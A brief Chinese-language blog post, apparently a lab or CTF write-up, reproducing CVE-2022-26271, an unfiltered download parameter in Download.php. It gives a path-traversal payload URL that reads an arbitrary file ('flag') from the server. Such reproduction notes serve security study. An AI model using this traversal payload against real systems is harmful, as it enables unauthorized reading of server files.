CVE-2022-26271

CVE-2022-26271复现
image
漏洞分析
在\upload\application\index\controller\Download.php里面有一个文件操作函数,其中$url是用户可控制参数,没有过滤,$ourput_filename是要输出的文件名
image
构造payload:
https://eci-2zegg56pa08ql8s0k42t.cloudeci1.ichunqiu.com/index/download/index?name=index.php&url=../../../../../../../flag
页面会自动下载index.php文件,
image

posted @ 2025-11-27 22:17  大雪深埋  阅读(2)  评论(0)    收藏  举报